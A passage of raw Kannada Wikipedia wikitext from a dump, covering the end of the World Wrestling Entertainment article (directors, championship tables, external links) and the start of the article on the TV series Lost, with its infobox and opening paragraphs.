ಜೂನಿಯರ್]] ಆರಂಭದಲ್ಲಿ ಸ್ಟೆಟ್ ಅಫ್ ಕನೆಕ್ಟಿಕಟ್‌ನ ಗೌವರ್ನರ್ ಮತ್ತು ಅಮೇರಿಕಾ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಸೆನೆಟರ್ ಆಗಿದ್ದರು)<ref name="directors" /> * ಡೇವಿಡ್ ಕೆನಿನ್ (ಕಾರ್ಯಕ್ರಮ ಕಾರ್ಯನಿರ್ವಾಹಕ ಉಪಾಧ್ಯಕ್ಷರು - ಹಾಲ್‌ಮಾರ್ಕ್ ಚಾನೆಲ್)<ref name="directors" /> * ಜೊಸೆಫ್ ಪರಕಿನ್ಸ್ (ಅಧ್ಯಕ್ಷರು - Communications Consultants,Inc.)<ref name="directors" /> * ಮೈಕಲ್ ಬಿ.ಸೊಲೊಮನ್ (ಮ್ಯಾನೆಜಿಂಗ್ ಪ್ರಿನ್ಸಿಪಲ್ - Gladwyne Partners,LLC)<ref name="directors" /> * ರಾಬರ್ಟ್ ಏ. ಬೌಮ್ಯಾನ್ (ಮುಖ್ಯ ಕಾರ್ಯನಿರ್ವಹಣಾಧಿಕಾರಿ - ಮೇಜರ್ ಲೀಗ್ ಬೇಸ್‌ಬಾಲ್ ಅಡ್ವಾನ್ಸ್‌ಡ್ ಮೀಡಿಯಾ)<ref name="directors" /> == ಚಾಂಪಿಯನ್‌ಗಳು== {{Main|List of current champions in World Wrestling Entertainment}} {| border="2" cellpadding="4" cellspacing="0" style="margin:1em 1em 1em 0;background:#FCFDFF;border:1px #aaa solid;border-collapse:collapse;font-size:95%" | | ಹಾಲಿ ಚಾಂಪಿಯನ್‌ಶಿಪ್ | ಗೆದ್ದ ದಿನಾಂಕ | ಪಂದ್ಯ | ಹಿಂದಿನ ಚಾಂಪಿಯನ್ಸ್ |- ! colspan="6" style="background-color:#FFBBBB"|[[WWE ರಾ|ರಾ]] |- | [[WWE ಚಾಂಪಿಯನ್‌ಶಿಪ್]] | [[ಜಾನ ಸೆನಾ|ಜಾನ್ ಸೇನಾ]] | ಸೆಪ್ಟೆಂಬರ್ 13, 2009 | [[WWE ಬ್ರೇಕಿಂಗ್ ಪಾಯಿಂಟ್|ಬ್ರೇಕಿಂಗ್ ಪಾಯಿಂಟ್]] | [[ರೇಂಡಿ ಓರ್ಟನ್]] |- | [[WWE ಯುನೈಟೆಡ್ ಸ್ಟೇಟ್ಸ್ ಚಾಂಪಿಯನ್‌ಶಿಪ್]] | [[ಕೊಫಿ ಕಿಂಗಸ್ಟನ್]] | ಜೂನ್ 1, 2009 | ''[[WWE ರಾ|ರಾ]]'' | [[ಮಾಂಟಲ್ ವೊಂಟಾವಿಯಸ್ ಪೋರ್ಟರ್|ಮೊಂಟೆಲ್ ವೊಂಟಾವಿಯಸ್ ಪೋರ್ಟರ್]] |- | [[WWE ದಿವಾಸ್ ಚಾಂಪಿಯನ್‌ಶಿಪ್|WWE ದಿವಸ್ ಚಾಂಪಿಯನ್‌ಶಿಪ್]] | [[ಮಿಕಿ ಜೇಮ್ಸ್|ಮೈಕಿ ಜೆಮ್ಸ್]] | ಜುಲೈ 26, 2009 | [[ನೈಟ್ ಆಪ್ ಚಾಂಪಿಯನ್ಸ್(2009)|ನೈಟ್ ಆಫ್ ಚಾಂಪಿಯನ್‌ಶಿಪ್(2009)]] | [[ಮೆರಿಸ್ ವಿಲ್ಲಾಟ್|ಮೆರೈಸ್]] |- ! colspan="6" style="background-color:#BBBBCC"|[[ECW (WWE)|ECW]] |- | [[ECW ಚಾಂಪಿಯನ್‌ಶಿಪ್]] | [[ಜೆಸನ್ ರೆಸೊ|ಕ್ರಿಸ್ಚಿಯನ್]] | ಜುಲೈ 26, 2009 | ನೈಟ್ ಚಾಂಪಿಯನ್‌ಶಿಪ್ (2009) | [[ಟಾಮಿ ಡ್ರೀಮರ್|ಟೊಮಿ ಡ್ರೀಮರ್]] |- ! colspan="6" style="background-color:#BBBBFF"|[[WWE ಸ್ಮ್ಯಾಕ್‌ಡೌನ್|ಸ್ಮ್ಯಾಕ್‌ಡೌನ್]] |- | [[ವರ್ಲ್ಡ್ ಹೇವಿವೇಟ್ ಚಾಂಪಿಯನ್‌ಶಿಪ್(WWE)|World ಹೆವಿ ವೈಟ್ ಚಾಂಪಿಯನ್‌ಶಿಪ್]] | [[CM ಪಂಕ್|CM ಪನ್ಕ್]] | ಆಗಸ್ಟ್ 23, 2009 | [[ಸಮ್ಮರ್‌ಸ್ಲ್ಯಾಮ್(2009)|ಸಮ್ಮರ್ ಸ್ಲ್ಯಾಮ್ (2009)]] | [[ಜೆಫ್ ಹಾರ್ಡಿ]] |- | [[WWE ಅಂತರಖಂಡಗಳ ಚಾಂಪಿಯನ್‌ಶಿಪ್|WWE Intercontinental Championship]] | [[ಜಾನ ಹೆನ್ನಿಗನ್|ಜಾನ್ ಮೊರಿಸನ್]] | ಸೆಪಟೆಂಬರ್ 1, 2009 | ''[[WWE ಸ್ಮ್ಯಾಕ್‌ಡೌನ್|ಫ್ರೈಡೇ ನೈಟ್ ಸ್ಮ್ಯಾಕ್‌ಡೌನ್]]'' | [[ರೆ ಮಿಸ್ಟೇರಿಯೊ , ಜೂ.|ರೆ ಮಿಸ್ಟೀರಿಯೊ]] |- | [[WWE ಮಹಿಳೆಯರ ಚಾಂಪಿಯನ್‌ಶಿಪ್|WWE Women's Championship]] | [[ಮೈಕಲ್ಲಿ ಮ್ಯಾಕ್‍ಕೂಲ್|ಮೈಕಲ್ ಮ್ಯಾಕ್‌ಕೂಲ್]] | ಜೂನ್ 28, 2009 | [[ದಿ ಬಾಶ್(2009)|ದಿ ಬಾಶ್ (2009)]] | [[ಮೆಲಿನ ಪೆರೆಜ|ಮೆಲಿನಾ]] |- ! colspan="6" style="background-color:#FFFFCC"|[[ಚಾಂಪಿಯನ್‌ಶಿಪ್ ಏಕೀಕರಣ|ಯುನಿಫೈಡ]] |- | [[WWE ಟ್ಯಾಗ್ ಟೀಮ್ ಚಾಂಪಿಯನ್‌ಶಿಪ್|WWE Tag Team Championship]]* | rowspan="2"| [[ಕ್ರಿಶ್ ಜೆರಿಖೊ]]ಕ್ರಿಸ್ ಜೆರಿಕೊ ಮತ್ತು [[ಪೌಲ್ ವೈಟ್]]ದಿ ಬಿಗ್ ಶೋ | rowspan="2"|ಜೂನ್ 28, 2009 | rowspan="2"|ದಿ ಬಾಶ್ (2009) | rowspan="2"|[[ದಿ ಕೊಲೊನ್ಸ್]]<br>{{small|([[Carly Colón|Carlito]] and [[Eddie Colón|Primo]])}} |- | [[ಟ್ಯಾಗ್ ಟೀಮ್ ಚಾಂಪಿಯನ್‌ಶಿಪ್(WWE)|World Tag Team Championship]]* |- |} <small> '''' *ಈ ಬಿರುದುಗಳನ್ನು [[ಚಾಂಪಿಯನ್‌ಶಿಪ್ ಏಕೀಕರಣ]]ಒಗ್ಗೂಡಿಸಿದ್ದಾರೆ; ಇವುಗಳ ಪ್ರವೇಶಾಧಿಕಾರ ಮೂರೂ ಬ್ರಾಂಡ್‌ಗಳಿಗೆ<ref>{{cite web|url= http://www.wwe.com/superstars/smackdown/|title=Superstars of SmackDown|publisher=World Wrestling Entertainment|accessdate= 2009-04-06}}</ref> ಇದೆ.</small> ===ಇತರ ಸಾಧನೆಗಳು=== {| border="2" cellpadding="4" cellspacing="0" style="margin:1em 1em 1em 0;background:#FCFDFF;border:1px #aaa solid;border-collapse:collapse;font-size:95%" | |ಇತ್ತೀಚಿನ ವಿಜೇತರು | ಗೆದ್ದ ದಿನಾಂಕ |- | [[ರೋಯಲ್ ರಂಬಲ್#ಮ್ಯಾಚ್|ರಾಯಲ್ ರಂಬಲ್]] | [[ರೇಂಡಿ ಓರ್ಟನ್]] | ಜನವರಿ 25, 2009 |- | [[ಮನಿ ಇನ್ ದಿ ಬ್ಯಾಂಕ್ ಲ್ಯಾಡರ್ ಮ್ಯಾಚ್|ಮನಿ ಇನ್ ದಿ ಬ್ಯಾಂಕ್]] | [[CM ಪಂಕ್|CM ಪನ್ಕ್]] | ಏಪ್ರಿಲ್ 5, 2009 |- | [[ಕಿಂಗ್ ಆಪ್ ದಿ ರಿಂಗ್]] | [[ಡೆರೆನ್ ಮ್ಯಾಥಿವ್ಸ್|ವಿಲಿಯಮ್ ರೀಗಲ್]] | ಏಪ್ರಿಲ್ 21, 2008 |} ===ವೃದ್ಧಿಸುತ್ತಿರುವ ಕ್ಷೇತ್ರ ಚಾಂಪಿಯನ್ಸ್=== {| border="2" cellpadding="4" cellspacing="0" style="margin:1em 1em 1em 0;background:#FCFDFF;border:1px #aaa solid;border-collapse:collapse;font-size:95%" | | ಹಾಲಿ ಚಾಂಪಿಯನ್ಸ್ | ಗೆದ್ದ ದಿನಾಂಕ | ಹಿಂದಿನ ಚಾಂಪಿಯನ್ಸ್ |- ! colspan="6" style="background-color:#FFFFCC"|[[ಫ್ಲೋರಿಡಾ ಚಾಂಪಿಯನ್‌ಶಿಪ್ ವ್ರೆಸ್ಲಿಂಗ್|ಫ್ಲೋರಿಡಾ ಚಾಂಪಿಯನಶಿಪ್ ವ್ರೆಸ್ಲಿಂಗ್]] |- | [[FCW ಫ್ಲೋರಿಡಾ ಹೇವಿವೇಟ್ ಚಾಂಪಿಯನ್‌ಶಿಪ್|FCW ಪ್ಲಾರಿಡಾ ಹೆವಿವೈಟ್ ಚಾಂಪಿಯನ್‌ಶಿಪ್]] | [[ಹೀಥ್ ಮಿಲ್ಲರ್ (ಕುಸ್ತಿಪಟು)|ಹೀತ್ ಸ್ಲಾಟರ್]] | ಆಗಸ್ಟ್ 13, 2009 | [[ಗೇಬ್ ಟಪ್ಟ್|ಟೈಲರ್ ರೆಕ್ಸ್]] |- | [[FCW ಫ್ಲೋರಿಡಾ ಟ್ಯಾಗ್ ಟೀಮ್ ಚಾಂಪಿಯನ್‌ಶಿಪ್|FCW ಫ್ಲಾರಿಡಾ ಟ್ಯಾಗ್ ಟೀಮ್]] | [[ಟೇಲರ್ ರೊಟಂಡಾ]]ಬೊ ಮತ್ತು ಡ್ಯುಕ್ ರೊಟನ್‌ಡೋ[[ವಿಂಧಾಮ್ ರೊಟಂಡಾ]] | ಜುಲೈ 23, 2009 | [[ಪೌಲ್ ಲಾಯ್ಡ್, ಜೂ.|ಪೌಲ್ ಲಾಯ್ಡ್]]ಜಸಟಿನ್ ಏಂಜೆಲ್ ಮತ್ತು ಕ್ರಿಸ್ ಲೋಗನ್ |} == ಅಸ್ತಿತ್ವದಲ್ಲಿಲ್ಲದ ಚಾಂಪಿಯನ್‌ಶಿಪ್ಸ್== {{Main|List of former championships in World Wrestling Entertainment}} 50 ವರ್ಷದ ಇತಿಹಾಸದಲ್ಲಿ, WWE ಇಪ್ಪತ್ತಕ್ಕೂ ಹೇಚ್ಚು ವಿಭಿನ್ನ [[ಚಾಂಪಿಯನ್‌ಶಿಪ್ (ವೃತ್ತಿ ನಿರತರ ಕುಸ್ತಿ)|ಚಾಂಪಿಯನ್‌ಶಿಪ್]]ಚಾಂಪಿಯನ್‌ಶಿಪ್‌ಗಳ ಕಾರ್ಯಚರಣೆ ನಡೆಸಿದೆ. ಇದರ ಮೊದಲನೆಯ ಟೈಟಲನ್ನು 1958ರಲ್ಲಿ ಸೃಷ್ಟಿಸಲಾಗಿತ್ತು. [[WWWF ಯುನೈಟೆಡ್ ಸ್ಟೇಟ್ಸ್ ಟ್ಯಾಗ್ ಟೀಮ್ ಚಾಂಪಿಯನ್‌ಶಿಪ್|WWWF ಯುನೈಟಡ್ ಸ್ಟೆಟ್ಸ್ ಟ್ಯಾಗ್ ಟೀಮ್ ಚಾಂಪಿಯನ್‌ಶಿಪ್]]; ಇದು 1967ರಲ್ಲಿ ನಿವೃತ್ತಿ ಹೊಂದಿತು. ಇತಿಹಾಸದ ಉದ್ದಕ್ಕೂ, WWE ಇತರ ಅಂತರರಾಷ್ಟೀಯ ಪ್ರೋತ್ಸಾಹಕರ ಜೊತೆ ಪಾಲುದಾರಿಕೆ ರಚಿಸಿದೆ. ಇದರಿಂದ ಈ ಪ್ರೋತ್ಸಾಹಕರಿಗೆ ಹಲವು ಟೈಟಲ್‌ಗಳನ್ನು ಸೃಷ್ಟಿ ಮಾಡಲು ದಾರಿ ಆಯಿತು. ಆದರೆ, ಪಾಲುದಾರಿಕೆ ಕೊನೆಗೊಂಡಾಗ, ಈ ಟೈಟಲ್‌ಗಳನ್ನು ತೆಗೆದುಹಾಕಲಾಯಿತು ಅಥವಾ ಇವುಗಳನ್ನು WWE ಯುನೈಟಡ್ ಸ್ಟೆಟ್ಸ್‌ನ ಅಡಿಯಲ್ಲಿ ಬಳಸಿಕೊಳ್ಳಲಾಯಿತು. ಎಲ್ಲಾ ಸೇರಿ 17 ಚಾಂಪಿಯನ್‌ಶಿಪ್‌ಗಳನ್ನು ಈ ಕಂಪನಿ ತೆಗೆದುಹಾಕಿದೆ. ಇತ್ತಿಚೆಗೆ ಮಾರ್ಚ್ 2008ರಲ್ಲಿ [[WWE ಕ್ರ್ಯೂಸರ್‌ವೇಯಿಟ್ ಚಾಂಪಿಯನ್‌ಶಿಪ್|WWE ಕ್ರೂಸರ್‌ವೇಟ್ ಚಾಂಪಿಯನ್‌ಶಿಪ್‌]] ನ್ನು ತೆಗೆದುಹಾಕಿತು. ==ಆಕರಗಳು== {{reflist|2}} ==ಹೊರಗಿನ ಕೊಂಡಿಗಳು== {{Portal|Professional wrestling|break=yes}} *[http://www.wwe.com/ WWE.com] *[http://corporate.wwe.com/ WWE Corporate website] *[http://www.wweglobal.com/ WWE Global website] *[http://fans.wwe.com/ WWE Universe website] *[https://finance.yahoo.com/q?d=t&amp;s=WWE WWE Stock] *[http://www.wweaffiliates.com WWE Affiliate website] *[http://www.wweeuroshop.com/ WWE Euro Shop website] *[http://www.wwe.co.jp WWE Japanese website] *[http://www.wwekids.com/ WWE Kids website] *[http://www.wweshop.com/ WWE Shop website] *[http://hispano.wwe.com WWE Hispano website] {{Webarchive|url=https://web.archive.org/web/20091018081840/http://hispano.wwe.com/ |date=2009-10-18 }} {{Navboxes| |list1= {{World Wrestling Entertainment}} {{Professional wrestling in the United States}} {{WWE Championships}} {{WWE Albums}} {{WWE programs}} {{WWE video games}} {{World Wrestling Entertainment employees}} {{Former WWE Championships}} }} [[ವರ್ಗ:ವರ್ಲ್ಡ್ ವ್ರೆಸ್ಲಿಂಗ್ ಎಂಟರ್ಟೈನ್‌ಮೆಂಟ್]] [[ವರ್ಗ:ಅಮೇರಿಕನ್ ಪ್ರೊಫೆಶನಲ್ ವ್ರೆಸ್ಲಿಂಗ್ ಪ್ರೊಮೊಷನ್ಸ್]] [[ವರ್ಗ:ಎಂಟರ್ಟೈನ್‌ಮೆಂಟ್ ಕಂಪನೀಸ್ ಆಫ್ ದಿ ಯುನೈಟಡ್ ಸ್ಟೆಟ್ಸ್]] [[ವರ್ಗ:ಫಾಮಿಲಿ ಬಿಸಿನಸ್‌ಗಳು]] [[ವರ್ಗ:ಕಂಪನೀಸ್ ಬೇಸ್ಡ್ ಇನ್ ಫೇರ್‌ಫೀಲ್ಡ್ ಕೌಂಟಿ,ಕನೆಕ್ಟಿಕಟ್]] [[ವರ್ಗ:1952ರಲ್ಲಿ ಸ್ಥಾಪಿಸಿದ ಕಂಪನಿಗಳು]] [[ವರ್ಗ:ಸಮೂಹ ಮಾಧ್ಯಮ]] rb3xlld2xrga0bhi7w78m7o8jl4cs6n ಲಾಸ್ಟ್‌ (TV ಸರಣಿ) 0 21964 1116436 1083048 2022-08-23T12:32:49Z InternetArchiveBot 69876 Rescuing 5 sources and tagging 0 as dead.) #IABot (v2.0.9 wikitext text/x-wiki {{Infobox Television |show_name = Lost |image = [[ಚಿತ್ರ:Lost title card.jpg|250px]] |caption = ''Lost'' title screen |format = [[Serial (radio and television)|Serial drama]] |genre = [[Adventure (genre)|Adventure]]<br />[[Dramatic programming|Drama]]<br />[[Fantasy]]<br />[[Science fiction]]<br />[[Thriller (genre)|Thriller]] |creator = [[Jeffrey Lieber]]<br />[[J.J. Abrams]]<br />[[Damon Lindelof]] |director = [[Jack Bender]]<br />[[Stephen Williams (director)|Stephen Williams]]<br />and others |starring = [[Adewale Akinnuoye-Agbaje]]<br /> [[Naveen Andrews]]<br /> [[Nestor Carbonell]]<br /> [[Henry Ian Cusick]]<br /> [[Jeremy Davies (actor)|Jeremy Davies]]<br /> [[Emilie de Ravin]]<br /> [[Michael Emerson]]<br /> [[Jeff Fahey]]<br />[[Matthew Fox (actor)|Matthew Fox]]<br /> [[Jorge Garcia]]<br /> [[Maggie Grace]]<br /> [[Josh Holloway]]<br /> [[Malcolm David Kelley]]<br /> [[Daniel Dae Kim]]<br /> [[Yunjin Kim]]<br /> [[Ken Leung]]<br /> [[Evangeline Lilly]]<br /> [[Rebecca Mader]]<br /> [[Elizabeth Mitchell]]<br /> [[Dominic Monaghan]]<br /> [[Terry O'Quinn]]<br /> [[Harold Perrineau]]<br /><!-- [[Zuleikha Robinson]]<ref>http://www.tvovermind.com/lost/zuleikha-robinson-becomes-new-lost-regular/12691</ref><br /> --> [[Michelle Rodriguez]]<br /> [[Kiele Sanchez]] <br />[[Rodrigo Santoro]]<br /> [[Ian Somerhalder]]<br /> [[Cynthia Watros]] |composer = [[Michael Giacchino]] |country = United States |language = English |num_seasons = 5 |num_episodes = 103 <!--(as of May 13, 2009)--> |list_episodes = List of Lost episodes |executive_producer = [[J. J. Abrams]]<br />Damon Lindelof<br />[[Bryan Burk]]<br />Jack Bender<br />[[Edward Kitsis]]<br />[[Adam Horowitz]]<br />[[Carlton Cuse]] |location = [[Oahu|Oahu, Hawaii]] |company = [[Bad Robot Productions]]<br />[[ABC Studios]] |camera = |runtime = approx. 42 minutes |network = [[American Broadcasting Company|ABC]] |picture_format = [[480i]] ([[Standard-definition television|SDTV]]) <br /> [[720p]] ([[High-definition television|HDTV]]) ABC HD <br /> [[1080i]] (HDTV) Sky1 HD, Premiere HD, [[Seven HD]] |audio_format = |first_run = |first_aired = September 22, 2004 |last_aired = present |website = http://abc.go.com/primetime/lost/ |production_website = http://www.abcmedianet.com/web/showpage/showpage.aspx?program_id=001648&type=lead |bgcolour = #99CCFF }} '''ಲಾಸ್ಟ್''' ಎಂಬುದು ಅಮೆರಿಕದ [[ಟಿವಿ ಸರಣಿ]]ಯ [[ಧಾರಾವಾಹಿ ನಾಟಕ]]ವಾಗಿದೆ. ನಿಗೂಢವಾದ [[ಉಷ್ಣವಲಯ ದ್ವೀಪ]]ದಲ್ಲಿ [[ವಿಮಾನ ಅಪಘಾತ]]ಕ್ಕೆ ಒಳಗಾಗಿ ಬದುಕುಳಿದವರು ಇಲ್ಲಿ ಜೀವನ ನಡೆಸುವುದನ್ನು ಇದು ತೋರಿಸುತ್ತದೆ. ವಾಣಿಜ್ಯ [[ಪ್ಯಾಸೆಂಜರ್ ಜೆಟ್‌]]ವೊಂದು ಸಿಡ್ನಿ, ಆಸ್ಟ್ರೇಲಿಯಾ ಮತ್ತು ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಲಾಸ್ ಏಂಜಲೀಸ್‌‍ನ ಮಧ್ಯೆ ಹಾರುತ್ತಿದ್ದಾಗ [[ದಕ್ಷಿಣ ಪ್ಯಾಸಿಫಿಕ್‌]]ನ ಮಧ್ಯೆ ಎಲ್ಲೋ ಅಪಘಾತಗೊಂಡಿರುತ್ತದೆ. ಪ್ರತೀ ಕಂತೂ ಕೂಡಾ ಪ್ರಾಥಮಿಕವಾಗಿ ದ್ವೀಪದಲ್ಲಿನ ಜೀವನದ ಕಥೆಯ ಎಳೆಯನ್ನು ಹೊಂದಿರುತ್ತದೆ, ಹಾಗೆಯೇ [[ಇನ್ನೊಂದು ದೃಷ್ಟಿ]]ಯಿಂದ ದ್ವಿತೀಯ ಕಥೆಯ ಎಳೆಯಾಗಿ ವ್ಯಕ್ತಿಗಳ ಜೀವನ ಕಥೆಯನ್ನು ಹೊಂದಿರುತ್ತದೆ. ಆದರೂ ಸಮಯಕ್ಕೆ ತಕ್ಕಂತೆ ಕಥಾವಸ್ತುವಿನಲ್ಲಿ ಆಗಾಗ ಈ ಸೂತ್ರವನ್ನು ಕೆಲವು ಕಂತುಗಳಲ್ಲಿ ಬದಲಾಯಿಸಲಾಗುತ್ತದೆ. ಸಪ್ಟೆಂಬರ್ 22, 2004<ref name="Pilot: Part 1">{{cite episode | title = Pilot: Part 1 | episodelink = Pilot (Lost) | series = Lost | credits = [[J. J. Abrams]] | writers = J. J. Abrams, [[Damon Lindelof]] & Jeffrey Lieber (story) and J. J. Abrams & Damon Lindelof, (teleplay) | network = ABC | airdate = 2004-09-22 | season = 1 | number = 1}}</ref> ರಂದು [[ಪ್ರಾಥಮಿಕ ಕಂತ]]ನ್ನು ಮೊಟ್ಟಮೊದಲ ಬಾರಿಗೆ ಪ್ರಸಾರ ಮಾಡಲಾಯಿತು ಮತ್ತು ನಂತರದಲ್ಲಿ ಐದು ಸಂಪೂರ್ಣ ಪ್ರದರ್ಶನವು ಪ್ರಸಾರವಾಗಿದೆ. ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ [[ಎಬಿಸಿ ನೆಟ್‌ವರ್ಕ್‌]]ನಲ್ಲಿ ಈ ಸರಣಿಯು ಪ್ರಸಾರವಾಗುವುದರ ಜೊತೆಗೆ ಇತರ ಹಲವು ದೇಶಗಳ ಸ್ಥಳೀಯ ನೆಟ್‌ವರ್ಕ್‌ಗಳಲ್ಲಿ ಪ್ರಸಾರವಾಗುತ್ತಿದೆ. ಹೆಚ್ಚಿನ [[ನಟರ ಮೇಳ]]ದಿಂದಾಗಿ ಮತ್ತು [[ಓವಾಹೊ, ಹವಾಯಿ]] ಸ್ಥಳದಲ್ಲಿ ನಡೆಸಬೇಕಾದ ಪ್ರಾಥಮಿಕ ಚಿತ್ರೀಕರಣದಿಂದಾಗಿ<ref name="ABC About ''Lost'' ">{{Cite web |url=http://abc.go.com/primetime/lost/index?pn=about |title=''Lost'' : About the Show - ABC.com |access-date=2009-12-17 |archive-date=2009-07-28 |archive-url=https://web.archive.org/web/20090728215109/http://abc.go.com/primetime/lost/index?pn=about |url-status=dead }}</ref> ಈ ಸರಣಿಯು ಟಿವಿಯಲ್ಲಿನ ಅತೀ ಹೆಚ್ಚು ಖರ್ಚಿನ ಸರಣಿಯಾಗಿದೆ.<ref>{{cite news | url=http://starbulletin.com/2005/01/26/news/story2.html | title=High filming costs force ABC network executives to consider relocating |last=Ryan | first=Tim |date=2005-01-26 | publisher=''[[Honolulu Star-Bulletin]]''}}</ref> ಈ ಕಾರ್ಯಕ್ರಮದ ಪರಿಕಲ್ಪನೆಯು ಡಮನ್ ಲಿಂಡೆಲಾಫ್, ಜೆ.ಜೆ.ಅಬ್ರಾಮ್ಸ್ ಮತ್ತು ಜೆಫ್ರಿ ಲೀಬೆರ್ ಅವರದ್ದಾಗಿದ್ದು ಮತ್ತು [[ಎಬಿಸಿ ಸ್ಟುಡಿಯೋಸ್]], [[ಬ್ಯಾಡ್ ರೋಬೋಟ್ ಪ್ರೊಡಕ್ಷನ್ಸ್]] ಮತ್ತು ಗ್ರಾಸ್ ಸ್ಕರ್ಟ್ ಪ್ರೊಡಕ್ಷನ್ಸ್‌ ಇದನ್ನು ನಿರ್ಮಿಸಿದೆ. [[ಮೈಕೆಲ್ ಗಿಯಾಚಿನೋ]] ಅವರು ಸಂಗೀತ ಸಂಯೋಜನೆ ಮಾಡಿದ್ದಾರೆ. ಲಿಂಡೆಲಾಫ್, ಅಬ್ರಾಮ್ಸ್, [[ಬ್ರಿಯಾನ್ ಬರ್ಕ್]], [[ಜ್ಯಾಕ್ ಬೆಂಡರ್]], [[ಎಡ್ವರ್ಡ್ ಕಿಟ್ಸಿಸ್]], [[ಆಡಮ್ ಹೊರೊವಿಟ್ಝ್]] ಮತ್ತು [[ಕಾರ್ಲ್‌ಟನ್ ಕ್ಯೂಸ್]] ಅವರು ಸದ್ಯದ ಕಾರ್ಯನಿರ್ವಾಹಕ ನಿರ್ಮಾತೃಗಳಾಗಿದ್ದಾರೆ. ವಿಮರ್ಶಕರ ಶಿಫಾರಸು ಗಳಿಸಿದ ಮತ್ತು ಜನಪ್ರಿಯತೆಯನ್ನು ಗಳಿಸಿದ ''ಲಾಸ್ಟ್'' ಸರಣಿಯು ತನ್ನ ಮೊದಲ ವರ್ಷದಲ್ಲಿ ಪ್ರತೀ ಕಂತಿಗೆ ಸರಿಸುಮಾರು 16 ಮಿಲಿಯನ್ ವೀಕ್ಷಕರನ್ನು ಹೊಂದಿತ್ತು. [[ವಿಶೇಷ ಡ್ರಾಮಾ ಸರಣಿ]]ಗಾಗಿನ [[ಎಮ್ಮೀ ಪ್ರಶಸ್ತಿ]]ಯನ್ನು 2005ರಲ್ಲಿ,<ref name="Emmys.tv">[http://www.emmys.tv/downloads/images/2006emmys/05_06_facts_and_figs.php 58ನೇ ಪ್ರೈಮ್‌ಟೈಮ್ ಎಮ್ಮೀ ಅವಾರ್ಡ್ ನಾಮಿನೀಸ್ ಅಂಡ್ ವಿನ್ನರ್ಸ್- ಎಮ್ಮೀಸ್.ಟಿವಿ]</ref> [[ಬ್ರಿಟಿಷ್ ಅಕಾಡೆಮಿ ಟೆಲೆವಿಷನ್ ಅವಾರ್ಡ್ಸ್‌]]ನ ಬೆಸ್ಟ್ ಅಮೆರಿಕನ್ ಇಂಫೋರ್ಟ್‌ಆಗಿ 2005ರಲ್ಲಿ, [[ಉತ್ತಮ ಡ್ರಾಮಾ]]ಕ್ಕಾಗಿ [[ಗೋಲ್ಡನ್ ಗ್ಲೋಬ್‌]]ನ್ನು 2006ರಲ್ಲಿ ಮತ್ತು ಡ್ರಾಮಾ ಸರಣಿಯಲ್ಲಿನ ವಿಶೇಷ ತಾರಾಗಣಕ್ಕಾಗಿ ಸ್ಕ್ರೀನ್ ಆ‍ಯ್‌ಕ್ಟರ್ಸ್ ಗಿಲ್ಡ್ ಅವಾರ್ಡ್‌ನ್ನೂ ಸೇರಿ ಇದು ಅನೇಕ ಔದ್ಯಮಿಕ ಪ್ರಶಸ್ತಿಗಳನ್ನು ಗೆದ್ದಿದೆ.<ref name="Emmys.tv"/> ಆರಾಧನೆಯ ಅಭಿಮಾನಿಗಳ ಮೂಲವನ್ನು ಪ್ರತಿಬಿಂಬಿಸುತ್ತಾ ಈ ಸರಣಿಯು ಕಥೆಯ ಆಧಾರದಿಂದಾಗಿ ಅಮೆರಿಕದ [[ಜನಪ್ರಿಯ ಸಂಸ್ಕೃತಿ]]ಯಾಗಿದೆ ಮತ್ತು ಇದರ ಅಂಶಗಳು ಇತರ ಟೆಲಿವಿಷನ್ ಸರಣಿಗಳಲ್ಲಿ,<ref>{{cite news|title=Your ''Veronica Mars'' Questions Answered!|last=Thomas|first=Rob|url=http://www.tvguide.com/news/Veronica-Mars-Questions-35968.aspx|publisher=TVGuide.com Insider|date=2006-02-01|access-date=2009-12-17|archive-date=2010-05-28|archive-url=https://web.archive.org/web/20100528114254/http://www.tvguide.com/news/Veronica-Mars-Questions-35968.aspx|url-status=dead}}</ref> ಜಾಹೀರಾತುಗಳಲ್ಲಿ, [[ಮಕ್ಕಳ ಕಥಾ ಪುಸ್ತಕ]]ಗಳಲ್ಲಿ,<ref>ಹ್ಯೂಗ್ಸ್, ಆ‍ಯ್‌ಡಮ್ (ಕವರ್ ಆರ್ಟಿಸ್ಟ್). [http://www.dccomics.com/comics/?cm=4686 ''ಕ್ಯಾಟ್‌ವುಮನ್'' , ಇಷ್ಯೂ 51]. ಜನವರಿ 25, 2009</ref> [[ವೆಬ್‌ಕಾಮಿಕ್‌]]ಗಳಲ್ಲಿ, [[ಮಾನವಾಸಕ್ತಿಯ ನಿಯತಕಾಲಿಕ]]ಗಳಲ್ಲಿ, [[ವೀಡಿಯೋ ಗೇಮ್‌]]ಗಳಲ್ಲಿ ಮತ್ತು ಗೀತ [[ಸಾಹಿತ್ಯ]]ಗಳಲ್ಲಿ ಪ್ರಭಾವ ಬೀರಿವೆ. ಈ ಕಾರ್ಯಕ್ರಮದ ಕಾಲ್ಪನಿಕ [[ಕಥಾಜಗತ್ತು]] [[ಕಾದಂಬರಿ]], [[ಬೋರ್ಡ್]] ಮತ್ತು ವೀಡಿಯೋ ಗೇಮ್‌ಗಳ ಮತ್ತು ಇತರ [[ಸಂಬಂಧೀ ರಿಯಾಲಿಟಿ ಗೇಮ್‌]]ಗಳಾದ ''[[ದಿ ಲಾಸ್ಟ್ ಎಕ್ಸ್‌ಫೀರಿಯನ್ಸ್]]'' ಮತ್ತು ''[[ಫೈಂಡ್ 815]]'' ಗಳಿಗೆ [[ಸ್ಪೂರ್ತಿಯಾಗುವ]] ಮೂಲಕ ಅಭಿವೃದ್ಧಿ ಹೊಂದಿದೆ. ಆರನೇ ಸೀಸನ್ನಿನ 121ನೇಯ<ref name="blog.zap2it.com">{{Cite web |url=http://blog.zap2it.com/frominsidethebox/2009/06/lost-will-last-a-little-longer.html |title=ಆರ್ಕೈವ್ ನಕಲು |access-date=2009-12-17 |archive-date=2009-07-28 |archive-url=https://web.archive.org/web/20090728055735/http://blog.zap2it.com/frominsidethebox/2009/06/lost-will-last-a-little-longer.html |url-status=dead }}</ref> ಮತ್ತು ಅಂತಿಮ ಕಂತಿನೊಂದಿಗೆ ಮೇ 2010ರಲ್ಲಿ ''ಲಾಸ್ಟ್'' ಸರಣಿಯು ಅಂತ್ಯಗೊಳ್ಳಲಿದೆ.<ref name="May2010">ಅಡಲಿಯನ್, ಝೊಸೆಫ್, (ಮೇ 6, 2007) [http://www.variety.com/article/VR1117964371.html 